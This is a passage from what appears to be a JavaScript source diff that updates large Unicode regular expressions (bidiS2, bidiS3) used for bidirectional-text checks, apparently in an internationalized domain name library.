F9\u1DC0-\u1DFF\u1FBD\u1FBF-\u1FC1\u1FCD-\u1FCF\u1FDD-\u1FDF\u1FED-\u1FEF\u1FFD\u1FFE\u200B-\u200D\u200F-\u2027\u202F-\u205E\u2060-\u2064\u206A-\u2070\u2074-\u207E\u2080-\u208E\u20A0-\u20C0\u20D0-\u20F0\u2100\u2101\u2103-\u2106\u2108\u2109\u2114\u2116-\u2118\u211E-\u2123\u2125\u2127\u2129\u212E\u213A\u213B\u2140-\u2144\u214A-\u214D\u2150-\u215F\u2189-\u218B\u2190-\u2335\u237B-\u2394\u2396-\u2426\u2440-\u244A\u2460-\u249B\u24EA-\u26AB\u26AD-\u27FF\u2900-\u2B73\u2B76-\u2B95\u2B97-\u2BFF\u2CE5-\u2CEA\u2CEF-\u2CF1\u2CF9-\u2CFF\u2D7F\u2DE0-\u2E5D\u2E80-\u2E99\u2E9B-\u2EF3\u2F00-\u2FD5\u2FF0-\u2FFB\u3001-\u3004\u3008-\u3020\u302A-\u302D\u3030\u3036\u3037\u303D-\u303F\u3099-\u309C\u30A0\u30FB\u31C0-\u31E3\u321D\u321E\u3250-\u325F\u327C-\u327E\u32B1-\u32BF\u32CC-\u32CF\u3377-\u337A\u33DE\u33DF\u33FF\u4DC0-\u4DFF\uA490-\uA4C6\uA60D-\uA60F\uA66F-\uA67F\uA69E\uA69F\uA6F0\uA6F1\uA700-\uA721\uA788\uA802\uA806\uA80B\uA825\uA826\uA828-\uA82C\uA838\uA839\uA874-\uA877\uA8C4\uA8C5\uA8E0-\uA8F1\uA8FF\uA926-\uA92D\uA947-\uA951\uA980-\uA982\uA9B3\uA9B6-\uA9B9\uA9BC\uA9BD\uA9E5\uAA29-\uAA2E\uAA31\uAA32\uAA35\uAA36\uAA43\uAA4C\uAA7C\uAAB0\uAAB2-\uAAB4\uAAB7\uAAB8\uAABE\uAABF\uAAC1\uAAEC\uAAED\uAAF6\uAB6A\uAB6B\uABE5\uABE8\uABED\uFB1D-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBC2\uFBD3-\uFD8F\uFD92-\uFDC7\uFDCF\uFDF0-\uFE19\uFE20-\uFE52\uFE54-\uFE66\uFE68-\uFE6B\uFE70-\uFE74\uFE76-\uFEFC\uFEFF\uFF01-\uFF20\uFF3B-\uFF40\uFF5B-\uFF65\uFFE0-\uFFE6\uFFE8-\uFFEE\uFFF9-\uFFFD\u{10101}\u{10140}-\u{1018C}\u{10190}-\u{1019C}\u{101A0}\u{101FD}\u{102E0}-\u{102FB}\u{10376}-\u{1037A}\u{10800}-\u{10805}\u{10808}\u{1080A}-\u{10835}\u{10837}\u{10838}\u{1083C}\u{1083F}-\u{10855}\u{10857}-\u{1089E}\u{108A7}-\u{108AF}\u{108E0}-\u{108F2}\u{108F4}\u{108F5}\u{108FB}-\u{1091B}\u{1091F}-\u{10939}\u{1093F}\u{10980}-\u{109B7}\u{109BC}-\u{109CF}\u{109D2}-\u{10A03}\u{10A05}\u{10A06}\u{10A0C}-\u{10A13}\u{10A15}-\u{10A17}\u{10A19}-\u{10A35}\u{10A38}-\u{10A3A}\u{10A3F}-\u{10A48}\u{10A50}-\u{10A58}\u{10A60}-\u{10A9F}\u{10AC0}-\u{10AE6}\u{10AEB}-\u{10AF6}\u{10B00}-\u{10B35}\u{10B39}-\u{10B55}\u{10B58}-\u{10B72}\u{10B78}-\u{10B91}\u{10B99}-\u{10B9C}\u{10BA9}-\u{10BAF}\u{10C00}-\u{10C48}\u{10C80}-\u{10CB2}\u{10CC0}-\u{10CF2}\u{10CFA}-\u{10D27}\u{10D30}-\u{10D39}\u{10E60}-\u{10E7E}\u{10E80}-\u{10EA9}\u{10EAB}-\u{10EAD}\u{10EB0}\u{10EB1}\u{10F00}-\u{10F27}\u{10F30}-\u{10F59}\u{10F70}-\u{10F89}\u{10FB0}-\u{10FCB}\u{10FE0}-\u{10FF6}\u{11001}\u{11038}-\u{11046}\u{11052}-\u{11065}\u{11070}\u{11073}\u{11074}\u{1107F}-\u{11081}\u{110B3}-\u{110B6}\u{110B9}\u{110BA}\u{110C2}\u{11100}-\u{11102}\u{11127}-\u{1112B}\u{1112D}-\u{11134}\u{11173}\u{11180}\u{11181}\u{111B6}-\u{111BE}\u{111C9}-\u{111CC}\u{111CF}\u{1122F}-\u{11231}\u{11234}\u{11236}\u{11237}\u{1123E}\u{112DF}\u{112E3}-\u{112EA}\u{11300}\u{11301}\u{1133B}\u{1133C}\u{11340}\u{11366}-\u{1136C}\u{11370}-\u{11374}\u{11438}-\u{1143F}\u{11442}-\u{11444}\u{11446}\u{1145E}\u{114B3}-\u{114B8}\u{114BA}\u{114BF}\u{114C0}\u{114C2}\u{114C3}\u{115B2}-\u{115B5}\u{115BC}\u{115BD}\u{115BF}\u{115C0}\u{115DC}\u{115DD}\u{11633}-\u{1163A}\u{1163D}\u{1163F}\u{11640}\u{11660}-\u{1166C}\u{116AB}\u{116AD}\u{116B0}-\u{116B5}\u{116B7}\u{1171D}-\u{1171F}\u{11722}-\u{11725}\u{11727}-\u{1172B}\u{1182F}-\u{11837}\u{11839}\u{1183A}\u{1193B}\u{1193C}\u{1193E}\u{11943}\u{119D4}-\u{119D7}\u{119DA}\u{119DB}\u{119E0}\u{11A01}-\u{11A06}\u{11A09}\u{11A0A}\u{11A33}-\u{11A38}\u{11A3B}-\u{11A3E}\u{11A47}\u{11A51}-\u{11A56}\u{11A59}-\u{11A5B}\u{11A8A}-\u{11A96}\u{11A98}\u{11A99}\u{11C30}-\u{11C36}\u{11C38}-\u{11C3D}\u{11C92}-\u{11CA7}\u{11CAA}-\u{11CB0}\u{11CB2}\u{11CB3}\u{11CB5}\u{11CB6}\u{11D31}-\u{11D36}\u{11D3A}\u{11D3C}\u{11D3D}\u{11D3F}-\u{11D45}\u{11D47}\u{11D90}\u{11D91}\u{11D95}\u{11D97}\u{11EF3}\u{11EF4}\u{11FD5}-\u{11FF1}\u{16AF0}-\u{16AF4}\u{16B30}-\u{16B36}\u{16F4F}\u{16F8F}-\u{16F92}\u{16FE2}\u{16FE4}\u{1BC9D}\u{1BC9E}\u{1BCA0}-\u{1BCA3}\u{1CF00}-\u{1CF2D}\u{1CF30}-\u{1CF46}\u{1D167}-\u{1D169}\u{1D173}-\u{1D182}\u{1D185}-\u{1D18B}\u{1D1AA}-\u{1D1AD}\u{1D1E9}\u{1D1EA}\u{1D200}-\u{1D245}\u{1D300}-\u{1D356}\u{1D6DB}\u{1D715}\u{1D74F}\u{1D789}\u{1D7C3}\u{1D7CE}-\u{1D7FF}\u{1DA00}-\u{1DA36}\u{1DA3B}-\u{1DA6C}\u{1DA75}\u{1DA84}\u{1DA9B}-\u{1DA9F}\u{1DAA1}-\u{1DAAF}\u{1E000}-\u{1E006}\u{1E008}-\u{1E018}\u{1E01B}-\u{1E021}\u{1E023}\u{1E024}\u{1E026}-\u{1E02A}\u{1E130}-\u{1E136}\u{1E2AE}\u{1E2EC}-\u{1E2EF}\u{1E2FF}\u{1E800}-\u{1E8C4}\u{1E8C7}-\u{1E8D6}\u{1E900}-\u{1E94B}\u{1E950}-\u{1E959}\u{1E95E}\u{1E95F}\u{1EC71}-\u{1ECB4}\u{1ED01}-\u{1ED3D}\u{1EE00}-\u{1EE03}\u{1EE05}-\u{1EE1F}\u{1EE21}\u{1EE22}\u{1EE24}\u{1EE27}\u{1EE29}-\u{1EE32}\u{1EE34}-\u{1EE37}\u{1EE39}\u{1EE3B}\u{1EE42}\u{1EE47}\u{1EE49}\u{1EE4B}\u{1EE4D}-\u{1EE4F}\u{1EE51}\u{1EE52}\u{1EE54}\u{1EE57}\u{1EE59}\u{1EE5B}\u{1EE5D}\u{1EE5F}\u{1EE61}\u{1EE62}\u{1EE64}\u{1EE67}-\u{1EE6A}\u{1EE6C}-\u{1EE72}\u{1EE74}-\u{1EE77}\u{1EE79}-\u{1EE7C}\u{1EE7E}\u{1EE80}-\u{1EE89}\u{1EE8B}-\u{1EE9B}\u{1EEA1}-\u{1EEA3}\u{1EEA5}-\u{1EEA9}\u{1EEAB}-\u{1EEBB}\u{1EEF0}\u{1EEF1}\u{1F000}-\u{1F02B}\u{1F030}-\u{1F093}\u{1F0A0}-\u{1F0AE}\u{1F0B1}-\u{1F0BF}\u{1F0C1}-\u{1F0CF}\u{1F0D1}-\u{1F0F5}\u{1F100}-\u{1F10F}\u{1F12F}\u{1F16A}-\u{1F16F}\u{1F1AD}\u{1F260}-\u{1F265}\u{1F300}-\u{1F6D7}\u{1F6DD}-\u{1F6EC}\u{1F6F0}-\u{1F6FC}\u{1F700}-\u{1F773}\u{1F780}-\u{1F7D8}\u{1F7E0}-\u{1F7EB}\u{1F7F0}\u{1F800}-\u{1F80B}\u{1F810}-\u{1F847}\u{1F850}-\u{1F859}\u{1F860}-\u{1F887}\u{1F890}-\u{1F8AD}\u{1F8B0}\u{1F8B1}\u{1F900}-\u{1FA53}\u{1FA60}-\u{1FA6D}\u{1FA70}-\u{1FA74}\u{1FA78}-\u{1FA7C}\u{1FA80}-\u{1FA86}\u{1FA90}-\u{1FAAC}\u{1FAB0}-\u{1FABA}\u{1FAC0}-\u{1FAC5}\u{1FAD0}-\u{1FAD9}\u{1FAE0}-\u{1FAE7}\u{1FAF0}-\u{1FAF6}\u{1FB00}-\u{1FB92}\u{1FB94}-\u{1FBCA}\u{1FBF0}-\u{1FBF9}\u{E0001}\u{E0020}-\u{E007F}\u{E0100}-\u{E01EF}]*$/u; -const bidiS3 = /[0-9\xB2\xB3\xB9\u05BE\u05C0\u05C3\u05C6\u05D0-\u05EA\u05EF-\u05F4\u0600-\u0605\u0608\u060B\u060D\u061B-\u064A\u0660-\u0669\u066B-\u066F\u0671-\u06D5\u06DD\u06E5\u06E6\u06EE-\u070D\u070F\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07C0-\u07EA\u07F4\u07F5\u07FA\u07FE-\u0815\u081A\u0824\u0828\u0830-\u083E\u0840-\u0858\u085E\u0860-\u086A\u0870-\u088E\u0890\u0891\u08A0-\u08C9\u08E2\u200F\u2070\u2074-\u2079\u2080-\u2089\u2488-\u249B\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBC2\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFC\uFE70-\uFE74\uFE76-\uFEFC\uFF10-\uFF19\u{102E1}-\u{102FB}\u{10800}-\u{10805}\u{10808}\u{1080A}-\u{10835}\u{10837}\u{10838}\u{1083C}\u{1083F}-\u{10855}\u{10857}-\u{1089E}\u{108A7}-\u{108AF}\u{108E0}-\u{108F2}\u{108F4}\u{108F5}\u{108FB}-\u{1091B}\u{10920}-\u{10939}\u{1093F}\u{10980}-\u{109B7}\u{109BC}-\u{109CF}\u{109D2}-\u{10A00}\u{10A10}-\u{10A13}\u{10A15}-\u{10A17}\u{10A19}-\u{10A35}\u{10A40}-\u{10A48}\u{10A50}-\u{10A58}\u{10A60}-\u{10A9F}\u{10AC0}-\u{10AE4}\u{10AEB}-\u{10AF6}\u{10B00}-\u{10B35}\u{10B40}-\u{10B55}\u{10B58}-\u{10B72}\u{10B78}-\u{10B91}\u{10B99}-\u{10B9C}\u{10BA9}-\u{10BAF}\u{10C00}-\u{10C48}\u{10C80}-\u{10CB2}\u{10CC0}-\u{10CF2}\u{10CFA}-\u{10D23}\u{10D30}-\u{10D39}\u{10E60}-\u{10E7E}\u{10E80}-\u{10EA9}\u{10EAD}\u{10EB0}\u{10EB1}\u{10F00}-\u{10F27}\u{10F30}-\u{10F45}\u{10F51}-\u{10F59}\u{10F70}-\u{10F81}\u{10F86}-\u{10F89}\u{10FB0}-\u{10FCB}\u{10FE0}-\u{10FF6}\u{1D7CE}-\u{1D7FF}\u{1E800}-\u{1E8C4}\u{1E8C7}-\u{1E8CF}\u{1E900}-\u{1E943}\u{1E94B}\u{1E950}-\u{1E959}\u{1E95E}\u{1E95F}\u{1EC71}-\u{1ECB4}\u{1ED01}-\u{1ED3D}\u{1EE00}-\u{1EE03}\u{1EE05}-\u{1EE1F}\u{1EE21}\u{1EE22}\u{1EE24}\u{1EE27}\u{1EE29}-\u{1EE32}\u{1EE34}-\u{1EE37}\u{1EE39}\u{1EE3B}\u{1EE42}\u{1EE47}\u{1EE49}\u{1EE4B}\u{1EE4D}-\u{1EE4F}\u{1EE51}\u{1EE52}\u{1EE54}\u{1EE57}\u{1EE59}\u{1EE5B}\u{1EE5D}\u{1EE5F}\u{1EE61}\u{1EE62}\u{1EE64}\u{1EE67}-\u{1EE6A}\u{1EE6C}-\u{1EE72}\u{1EE74}-\u{1EE77}\u{1EE79}-\u{1EE7C}\u{1EE7E}\u{1EE80}-\u{1EE89}\u{1EE8B}-\u{1EE9B}\u{1EEA1}-\u{1EEA3}\u{1EEA5}-\u{1EEA9}\u{1EEAB}-\u{1EEBB}\u{1F100}-\u{1F10A}\u{1FBF0}-\u{1FBF9}][\u0300-\u036F\u0483-\u0489\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u0610-\u061A\u064B-\u065F\u0670\u06D6-\u06DC\u06DF-\u06E4\u06E7\u06E8\u06EA-\u06ED\u0711\u0730-\u074A\u07A6-\u07B0\u07EB-\u07F3\u07FD\u0816-\u0819\u081B-\u0823\u0825-\u0827\u0829-\u082D\u0859-\u085B\u0898-\u089F\u08CA-\u08E1\u08E3-\u0902\u093A\u093C\u0941-\u0948\u094D\u0951-\u0957\u0962\u0963\u0981\u09BC\u09C1-\u09C4\u09CD\u09E2\u09E3\u09FE\u0A01\u0A02\u0A3C\u0A41\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A70\u0A71\u0A75\u0A81\u0A82\u0ABC\u0AC1-\u0AC5\u0AC7\u0AC8\u0ACD\u0AE2\u0AE3\u0AFA-\u0AFF\u0B01\u0B3C\u0B3F\u0B41-\u0B44\u0B4D\u0B55\u0B56\u0B62\u0B63\u0B82\u0BC0\u0BCD\u0C00\u0C04\u0C3C\u0C3E-\u0C40\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C62\u0C63\u0C81\u0CBC\u0CCC\u0CCD\u0CE2\u0CE3\u0D00\u0D01\u0D3B\u0D3C\u0D41-\u0D44\u0D4D\u0D62\u0D63\u0D81\u0DCA\u0DD2-\u0DD4\u0DD6\u0E31\u0E34-\u0E3A\u0E47-\u0E4E\u0EB1\u0EB4-\u0EBC\u0EC8-\u0ECD\u0F18\u0F19\u0F35\u0F37\u0F39\u0F71-\u0F7E\u0F80-\u0F84\u0F86\u0F87\u0F8D-\u0F97\u0F99-\u0FBC\u0FC6\u102D-\u1030\u1032-\u1037\u1039\u103A\u103D\u103E\u1058\u1059\u105E-\u1060\u1071-\u1074\u1082\u1085\u1086\u108D\u109D\u135D-\u135F\u1712-\u1714\u1732\u1733\u1752\u1753\u1772\u1773\u17B4\u17B5\u17B7-\u17BD\u17C6\u17C9-\u17D3\u17DD\u180B-\u180D\u180F\u1885\u1886\u18A9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193B\u1A17\u1A18\u1A1B\u1A56\u1A58-\u1A5E\u1A60\u1A62\u1A65-\u1A6C\u1A73-\u1A7C\u1A7F\u1AB0-\u1ACE\u1B00-\u1B03\u1B34\u1B36-\u1B3A\u1B3C\u1B42\u1B6B-\u1B73\u1B80\u1B81\u1BA2-\u1BA5\u1BA8\u1BA9\u1BAB-\u1BAD\u1BE6\u1BE8\u1BE9\u1BED\u1BEF-\u1BF1\u1C2C-\u1C33\u1C36\u1C37\u1CD0-\u1CD2\u1CD4-\u1CE0\u1CE2-\u1CE8\u1CED\u1CF4\u1CF8\u1CF9\u1DC0-\u1DFF\u20D0-\u20F0\u2CEF-\u2CF1\u2D7F\u2DE0-\u2DFF\u302A-\u302D\u3099\u309A\uA66F-\uA672\uA674-\uA67D\uA69E\uA69F\uA6F0\uA6F1\uA802\uA806\uA80B\uA825\uA826\uA82C\uA8C4\uA8C5\uA8E0-\uA8F1\uA8FF\uA926-\uA92D\uA947-\uA951\uA980-\uA982\uA9B3\uA9B6-\uA9B9\uA9BC\uA9BD\uA9E5\uAA29-\uAA2E\uAA31\uAA32\uAA35\uAA36\uAA43\uAA4C\uAA7C\uAAB0\uAAB2-\uAAB4\uAAB7\uAAB8\uAABE\uAABF\uAAC1\uAAEC\uAAED\uAAF6\uABE5\uABE8\uABED\uFB1E\uFE00-\uFE0F\uFE20-\uFE2F\u{101FD}\u{102E0}\u{10376}-\u{1037A}\u{10A01}-\u{10A03}\u{10A05}\u{10A06}\u{10A0C}-\u{10A0F}\u{10A38}-\u{10A3A}\u{10A3F}\u{10AE5}\u{10AE6}\u{10D24}-\u{10D27}\u{10EAB}\u{10EAC}\u{10F46}-\u{10F50}\u{10F82}-\u{10F85}\u{11001}\u{11038}-\u{11046}\u{11070}\u{11073}\u{11074}\u{1107F}-\u{11081}\u{110B3}-\u{110B6}\u{110B9}\u{110BA}\u{110C2}\u{11100}-\u{11102}\u{11127}-\u{1112B}\u{1112D}-\u{11134}\u{11173}\u{11180}\u{11181}\u{111B6}-\u{111BE}\u{111C9}-\u{111CC}\u{111CF}\u{1122F}-\u{11231}\u{11234}\u{11236}\u{11237}\u{1123E}\u{112DF}\u{112E3}-\u{112EA}\u{11300}\u{11301}\u{1133B}\u{1133C}\u{11340}\u{11366}-\u{1136C}\u{11370}-\u{11374}\u{11438}-\u{1143F}\u{11442}-\u{11444}\u{11446}\u{1145E}\u{114B3}-\u{114B8}\u{114BA}\u{114BF}\u{114C0}\u{114C2}\u{114C3}\u{115B2}-\u{115B5}\u{115BC}\u{115BD}\u{115BF}\u{115C0}\u{115DC}\u{115DD}\u{11633}-\u{1163A}\u{1163D}\u{1163F}\u{11640}\u{116AB}\u{116AD}\u{116B0}-\u{116B5}\u{116B7}\u{1171D}-\u{1171F}\u{11722}-\u{11725}\u{11727}-\u{1172B}\u{1182F}-\u{11837}\u{11839}\u{1183A}\u{1193B}\u{1193C}\u{1193E}\u{11943}\u{119D4}-\u{119D7}\u{119DA}\u{119DB}\u{119E0}\u{11A01}-\u{11A06}\u{11A09}\u{11A0A}\u{11A33}-\u{11A38}\u{11A3B}-\u{11A3E}\u{11A47}\u{11A51}-\u{11A56}\u{11A59}-\u{11A5B}\u{11A8A}-\u{11A96}\u{11A98}\u{11A99}\u{11C30}-\u{11C36}\u{11C38}-\u{11C3D}\u{11C92}-\u{11CA7}\u{11CAA}-\u{11CB0}\u{11CB2}\u{11CB3}\u{11CB5}\u{11CB6}\u{11D31}-\u{11D36}\u{11D3A}\u{11D3C}\u{11D3D}\u{11D3F}-\u{11D45}\u{11D47}\u{11D90}\u{11D91}\u{11D95}\u{11D97}\u{11EF3}\u{11EF4}\u{16AF0}-\u{16AF4}\u{16B30}-\u{16B36}\u{16F4F}\u{16F8F}-\u{16F92}\u{16FE4}\u{1BC9D}\u{1BC9E}\u{1CF00}-\u{1CF2D}\u{1CF30}-\u{1CF46}\u{1D167}-\u{1D169}\u{1D17B}-\u{1D182}\u{1D185}-\u{1D18B}\u{1D1AA}-\u{1D1AD}\u{1D242}-\u{1D244}\u{1DA00}-\u{1DA36}\u{1DA3B}-\u{1DA6C}\u{1DA75}\u{1DA84}\u{1DA9B}-\u{1DA9F}\u{1DAA1}-\u{1DAAF}\u{1E000}-\u{1E006}\u{1E008}-\u{1E018}\u{1E01B}-\u{1E021}\u{1E023}\u{1E024}\u{1E026}-\u{1E02A}\u{1E130}-\u{1E136}\u{1E2AE}\u{1E2EC}-\u{1E2EF}\u{1E8D0}-\u{1E8D6}\u{1E944}-\u{1E94A}\u{E0100}-\u{E01EF}]*$/u; +const bidiS2 = /^[\0-\x08\x0E-\x1B!-@\[-`\{-\x84\x86-\xA9\xAB-\xB4\xB6-\xB9\xBB-\xBF\xD7\xF7\u02B9\u02BA\u02C2-\u02CF\u02D2-\u02DF\u02E5-\u02ED\u02EF-\u036F\u0374\u0375\u037E\u0384\u0385\u0387\u03F6\u0483-\u0489\u058A\u058D-\u058F\u0591-\u05C7\u05D0-\u05EA\u05EF-\u05F4\u0600-\u070D\u070F-\u074A\u074D-\u07B1\u07C0-\u07FA\u07FD-\u082D\u0830-\u083E\u0840-\u085B\u085E\u0860-\u086A\u0870-\u088E\u0890\u0891\u0898-\u0902\u093A\u093C\u0941-\u0948\u094D\u0951-\u0957\u0962\u0963\u0981\u09BC\u09C1-\u09C4\u09CD\u09E2\u09E3\u09F2\u09F3\u09FB\u09FE\u0A01\u0A02\u0A3C\u0A41\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A70\u0A71\u0A75\u0A81\u0A82\u0ABC\u0AC1-\u0AC5\u0AC7\u0AC8\u0ACD\u0AE2\u0AE3\u0AF1\u0AFA-\u0AFF\u0B01\u0B3C\u0B3F\u0B41-\u0B44\u0B4D\u0B55\u0B56\u0B62\u0B63\u0B82\u0BC0\u0BCD\u0BF3-\u0BFA\u0C00\u0C04\u0C3C\u0C3E-\u0C40\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C62\u0C63\u0C78-\u0C7E\u0C81\u0CBC\u0CCC\u0CCD\u0CE2\u0CE3\u0D00\u0D01\u0D3B\u0D3C\u0D41-\u0D44\u0D4D\u0D62\u0D63\u0D81\u0DCA\u0DD2-\u0DD4\u0DD6\u0E31\u0E34-\u0E3A\u0E3F\u0E47-\u0E4E\u0EB1\u0EB4-\u0EBC\u0EC8-\u0ECE\u0F18\u0F19\u0F35\u0F37\u0F39-\u0F3D\u0F71-\u0F7E\u0F80-\u0F84\u0F86\u0F87\u0F8D-\u0F97\u0F99-\u0FBC\u0FC6\u102D-\u1030\u1032-\u1037\u1039\u103A\u103D\u103E\u1058\u1059\u105E-\u1060\u1071-\u1074\u1082\u1085\u1086\u108D\u109D\u135D-\u135F\u1390-\u1399\u1400\u169B\u169C\u1712-\u1714\u1732\u1733\u1752\u1753\u1772\u1773\u17B4\u17B5\u17B7-\u17BD\u17C6\u17C9-\u17D3\u17DB\u17DD\u17F0-\u17F9\u1800-\u180F\u1885\u1886\u18A9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193B\u1940\u1944\u1945\u19DE-\u19FF\u1A17\u1A18\u1A1B\u1A56\u1A58-\u1A5E\u1A60\u1A62\u1A65-\u1A6C\u1A73-\u1A7C\u1A7F\u1AB0-\u1ACE\u1B00-\u1B03\u1B34\u1B36-\u1B3A\u1B3C\u1B42\u1B6B-\u1B73\u1B80\u1B81\u1BA2-\u1BA5\u1BA8\u1BA9\u1BAB-\u1BAD\u1BE6\u1BE8\u1BE9\u1BED\u1BEF-\u1BF1\u1C2C-\u1C33\u1C36\u1C37\u1CD0-\u1CD2\u1CD4-\u1CE0\u1CE2-\u1CE8\u1CED\u1CF4\u1CF8\u1CF9\u1DC0-\u1DFF\u1FBD\u1FBF-\u1FC1\u1FCD-\u1FCF\u1FDD-\u1FDF\u1FED-\u1FEF\u1FFD\u1FFE\u200B-\u200D\u200F-\u2027\u202F-\u205E\u2060-\u2064\u206A-\u2070\u2074-\u207E\u2080-\u208E\u20A0-\u20C0\u20D0-\u20F0\u2100\u2101\u2103-\u2106\u2108\u2109\u2114\u2116-\u2118\u211E-\u2123\u2125\u2127\u2129\u212E\u213A\u213B\u2140-\u2144\u214A-\u214D\u2150-\u215F\u2189-\u218B\u2190-\u2335\u237B-\u2394\u2396-\u2426\u2440-\u244A\u2460-\u249B\u24EA-\u26AB\u26AD-\u27FF\u2900-\u2B73\u2B76-\u2B95\u2B97-\u2BFF\u2CE5-\u2CEA\u2CEF-\u2CF1\u2CF9-\u2CFF\u2D7F\u2DE0-\u2E5D\u2E80-\u2E99\u2E9B-\u2EF3\u2F00-\u2FD5\u2FF0-\u2FFB\u3001-\u3004\u3008-\u3020\u302A-\u302D\u3030\u3036\u3037\u303D-\u303F\u3099-\u309C\u30A0\u30FB\u31C0-\u31E3\u321D\u321E\u3250-\u325F\u327C-\u327E\u32B1-\u32BF\u32CC-\u32CF\u3377-\u337A\u33DE\u33DF\u33FF\u4DC0-\u4DFF\uA490-\uA4C6\uA60D-\uA60F\uA66F-\uA67F\uA69E\uA69F\uA6F0\uA6F1\uA700-\uA721\uA788\uA802\uA806\uA80B\uA825\uA826\uA828-\uA82C\uA838\uA839\uA874-\uA877\uA8C4\uA8C5\uA8E0-\uA8F1\uA8FF\uA926-\uA92D\uA947-\uA951\uA980-\uA982\uA9B3\uA9B6-\uA9B9\uA9BC\uA9BD\uA9E5\uAA29-\uAA2E\uAA31\uAA32\uAA35\uAA36\uAA43\uAA4C\uAA7C\uAAB0\uAAB2-\uAAB4\uAAB7\uAAB8\uAABE\uAABF\uAAC1\uAAEC\uAAED\uAAF6\uAB6A\uAB6B\uABE5\uABE8\uABED\uFB1D-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBC2\uFBD3-\uFD8F\uFD92-\uFDC7\uFDCF\uFDF0-\uFE19\uFE20-\uFE52\uFE54-\uFE66\uFE68-\uFE6B\uFE70-\uFE74\uFE76-\uFEFC\uFEFF\uFF01-\uFF20\uFF3B-\uFF40\uFF5B-\uFF65\uFFE0-\uFFE6\uFFE8-\uFFEE\uFFF9-\uFFFD\u{10101}\u{10140}-\u{1018C}\u{10190}-\u{1019C}\u{101A0}\u{101FD}\u{102E0}-\u{102FB}\u{10376}-\u{1037A}\u{10800}-\u{10805}\u{10808}\u{1080A}-\u{10835}\u{10837}\u{10838}\u{1083C}\u{1083F}-\u{10855}\u{10857}-\u{1089E}\u{108A7}-\u{108AF}\u{108E0}-\u{108F2}\u{108F4}\u{108F5}\u{108FB}-\u{1091B}\u{1091F}-\u{10939}\u{1093F}\u{10980}-\u{109B7}\u{109BC}-\u{109CF}\u{109D2}-\u{10A03}\u{10A05}\u{10A06}\u{10A0C}-\u{10A13}\u{10A15}-\u{10A17}\u{10A19}-\u{10A35}\u{10A38}-\u{10A3A}\u{10A3F}-\u{10A48}\u{10A50}-\u{10A58}\u{10A60}-\u{10A9F}\u{10AC0}-\u{10AE6}\u{10AEB}-\u{10AF6}\u{10B00}-\u{10B35}\u{10B39}-\u{10B55}\u{10B58}-\u{10B72}\u{10B78}-\u{10B91}\u{10B99}-\u{10B9C}\u{10BA9}-\u{10BAF}\u{10C00}-\u{10C48}\u{10C80}-\u{10CB2}\u{10CC0}-\u{10CF2}\u{10CFA}-\u{10D27}\u{10D30}-\u{10D39}\u{10E60}-\u{10E7E}\u{10E80}-\u{10EA9}\u{10EAB}-\u{10EAD}\u{10EB0}\u{10EB1}\u{10EFD}-\u{10F27}\u{10F30}-\u{10F59}\u{10F70}-\u{10F89}\u{10FB0}-\u{10FCB}\u{10FE0}-\u{10FF6}\u{11001}\u{11038}-\u{11046}\u{11052}-\u{11065}\u{11070}\u{11073}\u{11074}\u{1107F}-\u{11081}\u{110B3}-\u{110B6}\u{110B9}\u{110BA}\u{110C2}\u{11100}-\u{11102}\u{11127}-\u{1112B}\u{1112D}-\u{11134}\u{11173}\u{11180}\u{11181}\u{111B6}-\u{111BE}\u{111C9}-\u{111CC}\u{111CF}\u{1122F}-\u{11231}\u{11234}\u{11236}\u{11237}\u{1123E}\u{11241}\u{112DF}\u{112E3}-\u{112EA}\u{11300}\u{11301}\u{1133B}\u{1133C}\u{11340}\u{11366}-\u{1136C}\u{11370}-\u{11374}\u{11438}-\u{1143F}\u{11442}-\u{11444}\u{11446}\u{1145E}\u{114B3}-\u{114B8}\u{114BA}\u{114BF}\u{114C0}\u{114C2}\u{114C3}\u{115B2}-\u{115B5}\u{115BC}\u{115BD}\u{115BF}\u{115C0}\u{115DC}\u{115DD}\u{11633}-\u{1163A}\u{1163D}\u{1163F}\u{11640}\u{11660}-\u{1166C}\u{116AB}\u{116AD}\u{116B0}-\u{116B5}\u{116B7}\u{1171D}-\u{1171F}\u{11722}-\u{11725}\u{11727}-\u{1172B}\u{1182F}-\u{11837}\u{11839}\u{1183A}\u{1193B}\u{1193C}\u{1193E}\u{11943}\u{119D4}-\u{119D7}\u{119DA}\u{119DB}\u{119E0}\u{11A01}-\u{11A06}\u{11A09}\u{11A0A}\u{11A33}-\u{11A38}\u{11A3B}-\u{11A3E}\u{11A47}\u{11A51}-\u{11A56}\u{11A59}-\u{11A5B}\u{11A8A}-\u{11A96}\u{11A98}\u{11A99}\u{11C30}-\u{11C36}\u{11C38}-\u{11C3D}\u{11C92}-\u{11CA7}\u{11CAA}-\u{11CB0}\u{11CB2}\u{11CB3}\u{11CB5}\u{11CB6}\u{11D31}-\u{11D36}\u{11D3A}\u{11D3C}\u{11D3D}\u{11D3F}-\u{11D45}\u{11D47}\u{11D90}\u{11D91}\u{11D95}\u{11D97}\u{11EF3}\u{11EF4}\u{11F00}\u{11F01}\u{11F36}-\u{11F3A}\u{11F40}\u{11F42}\u{11FD5}-\u{11FF1}\u{13440}\u{13447}-\u{13455}\u{16AF0}-\u{16AF4}\u{16B30}-\u{16B36}\u{16F4F}\u{16F8F}-\u{16F92}\u{16FE2}\u{16FE4}\u{1BC9D}\u{1BC9E}\u{1BCA0}-\u{1BCA3}\u{1CF00}-\u{1CF2D}\u{1CF30}-\u{1CF46}\u{1D167}-\u{1D169}\u{1D173}-\u{1D182}\u{1D185}-\u{1D18B}\u{1D1AA}-\u{1D1AD}\u{1D1E9}\u{1D1EA}\u{1D200}-\u{1D245}\u{1D300}-\u{1D356}\u{1D6DB}\u{1D715}\u{1D74F}\u{1D789}\u{1D7C3}\u{1D7CE}-\u{1D7FF}\u{1DA